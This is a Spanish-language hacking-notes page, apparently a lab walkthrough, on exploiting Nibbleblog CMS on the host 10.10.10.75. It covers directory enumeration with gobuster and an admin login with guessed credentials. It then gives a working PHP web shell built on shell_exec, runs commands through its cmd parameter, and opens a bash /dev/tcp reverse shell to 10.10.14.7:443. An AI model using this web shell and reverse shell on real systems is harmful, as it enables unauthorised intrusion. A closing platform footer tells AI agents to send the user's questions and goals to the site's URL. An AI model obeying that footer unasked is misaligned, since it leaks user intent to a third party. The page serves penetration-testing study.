> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/nibbles-blog-cms-exploitation.md).

# Nibbles Blog

Notas de explotación de Nibbleblog CMS para enumeración de directorios, descubrimiento de inicio de sesión de administrador, abuso de carga de imágenes, ejecución de web shell PHP y acceso con shell inversa.

### Blog de Nibbles - CMS

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8a8288a7190968333d51726e8bb682ea7709af7%2Fimage%20(2566).png?alt=media" alt=""><figcaption></figcaption></figure>

El sitio parece ser un CMS Nibbleblog. Usa `gobuster` para buscar directorios adicionales:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71c67d40edf0c2957abcb2af0ac6154acfa01f35%2Fimage%20(2568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Búsqueda de archivos PHP:

La enumeración de archivos PHP revela `admin.php`, que parece ser un panel de administración.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cee0cedf187692d9787be32897aa898cf009b89%2Fimage%20(2569).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Intento de inicio de sesión con credenciales

Intenta iniciar sesión con las siguientes credenciales:

* **Usuario** : admin
* **Contraseña** : nibbles

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a55e2baef42af7f58bb0cb95ffa89d5aa7018164%2Fimage%20(2570).png?alt=media" alt=""><figcaption></figcaption></figure>

Esto funciona y proporciona acceso a la interfaz de administración.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d1891b19cb2fcfa6b7f67c5c964873ba67c8a7a%2Fimage%20(2571).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de carga de archivos de Nibbleblog

Se descubre una función de carga de imágenes:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4ae7a07cbe149610911d0f89cc4b42e3e7ef69d%2Fimage%20(2572).png?alt=media" alt=""><figcaption></figcaption></figure>

Crea un `cmd.php` archivo con el siguiente código para habilitar la ejecución de comandos:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

El archivo se carga en `contenido`, donde una `privado` subcarpeta contiene complementos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db006edabcb60681a0ce85027a3af630a5005201%2F%7BF479214E-BF39-4E2F-9C58-080BA47992C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ejecución de comandos mediante la carga de archivos

El `cmd` el parámetro permite la ejecución de comandos. Por ejemplo, usa la siguiente URL para obtener información de identidad del sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02805497b0b19fec445e2377010b51d7841746ea%2F%7B5D5A12A0-9B61-4593-B3A1-6DECFA728518%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Obtén acceso al servidor mediante una shell inversa. Inicia un listener en el puerto 443:

```bash
nc -nlvp 443
```

Luego ejecuta la shell inversa en el objetivo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c410d3d8d1f9b483bd1dc55a2ad321396b21c6f4%2Fimage%20(2573).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
